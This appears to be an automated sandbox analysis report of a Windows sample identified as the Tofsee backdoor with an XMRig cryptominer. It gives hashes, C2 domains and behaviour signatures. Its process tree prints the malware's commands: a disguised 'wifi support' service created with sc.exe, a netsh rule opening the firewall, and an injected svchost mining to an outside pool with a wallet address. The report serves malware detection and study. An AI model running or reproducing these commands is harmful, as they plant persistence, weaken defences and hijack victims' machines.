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Analysis

  • max time kernel
    144s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    11/10/2023, 00:22

General

  • Target

    file.exe

  • Size

    294KB

  • MD5

    a8585854c7a75192794f345a352c62eb

  • SHA1

    84e1c2d35214090bfbd91d5d20d23c5a787beb45

  • SHA256

    577f7a89f71c92f7aa26e8edac4ba449327b75251b4aef85861d0fab35e3d7f5

  • SHA512

    7db0cecd08e50b08bcd9b1c9fd66060835bebe4e99534d1261813ce3cc74d7acfdbf1f10b86fff4eb2c00dfb6f7160d2600fb44bd75e52198cdc2ee71bb7375a

  • SSDEEP

    3072:Gyv5Sfz6m3uahPDRQLptm4Gvq4cS+oiCHbqdCLO30:xwfz6aPD2LptHaq5S+OHbqSO

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3020
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uqdsfait\
      2⤵
        PID:2668
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ayijlhkq.exe" C:\Windows\SysWOW64\uqdsfait\
        2⤵
          PID:2892
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uqdsfait binPath= "C:\Windows\SysWOW64\uqdsfait\ayijlhkq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uqdsfait "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2476
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uqdsfait
          2⤵
          • Launches sc.exe
          PID:2188
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2440
      • C:\Windows\SysWOW64\uqdsfait\ayijlhkq.exe
        C:\Windows\SysWOW64\uqdsfait\ayijlhkq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2504
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2044
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1280

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ayijlhkq.exe

        Filesize

        14.3MB

        MD5

        84337b3b4ae788f39a114d769369ccb9

        SHA1

        e6f73327ff3ff53f0cea21bc486da1b62cc20ceb

        SHA256

        d10ed1c1aaa96da8c187a0c4705660d0db422dd70de6f93c16c96b648f2497b7

        SHA512

        231d086526641bc93ed2f5260ac342275646b0fef97d47adc43286ad91cda049ad89d86db63d4fd4c9db7c5b5ce5198d814c71dc8a1592a17b6ff651ab871e10

      • C:\Windows\SysWOW64\uqdsfait\ayijlhkq.exe

        Filesize

        14.3MB

        MD5

        84337b3b4ae788f39a114d769369ccb9

        SHA1

        e6f73327ff3ff53f0cea21bc486da1b62cc20ceb

        SHA256

        d10ed1c1aaa96da8c187a0c4705660d0db422dd70de6f93c16c96b648f2497b7

        SHA512

        231d086526641bc93ed2f5260ac342275646b0fef97d47adc43286ad91cda049ad89d86db63d4fd4c9db7c5b5ce5198d814c71dc8a1592a17b6ff651ab871e10

      • memory/1280-62-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/1280-77-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/1280-76-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/1280-75-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/1280-73-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/1280-74-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/1280-71-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/1280-72-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/1280-63-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/2044-38-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-48-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-11-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2044-20-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2044-22-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2044-23-0x0000000001A90000-0x0000000001C9F000-memory.dmp

        Filesize

        2.1MB

      • memory/2044-26-0x0000000001A90000-0x0000000001C9F000-memory.dmp

        Filesize

        2.1MB

      • memory/2044-27-0x0000000000080000-0x0000000000086000-memory.dmp

        Filesize

        24KB

      • memory/2044-30-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-33-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-36-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-35-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-40-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-42-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-41-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-43-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-39-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-44-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-47-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2044-53-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/2044-50-0x0000000000210000-0x0000000000215000-memory.dmp

        Filesize

        20KB

      • memory/2044-49-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-46-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-45-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-14-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2044-37-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-34-0x0000000000200000-0x0000000000210000-memory.dmp

        Filesize

        64KB

      • memory/2044-54-0x0000000005A10000-0x0000000005E1B000-memory.dmp

        Filesize

        4.0MB

      • memory/2044-57-0x0000000005A10000-0x0000000005E1B000-memory.dmp

        Filesize

        4.0MB

      • memory/2044-58-0x00000000002A0000-0x00000000002A7000-memory.dmp

        Filesize

        28KB

      • memory/2044-18-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2504-17-0x0000000000400000-0x0000000002287000-memory.dmp

        Filesize

        30.5MB

      • memory/2504-19-0x0000000000400000-0x0000000002287000-memory.dmp

        Filesize

        30.5MB

      • memory/2504-10-0x0000000002430000-0x0000000002530000-memory.dmp

        Filesize

        1024KB

      • memory/3020-1-0x00000000002F0000-0x00000000003F0000-memory.dmp

        Filesize

        1024KB

      • memory/3020-7-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB

      • memory/3020-6-0x0000000000400000-0x0000000002287000-memory.dmp

        Filesize

        30.5MB

      • memory/3020-4-0x0000000000400000-0x0000000002287000-memory.dmp

        Filesize

        30.5MB

      • memory/3020-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

        Filesize

        76KB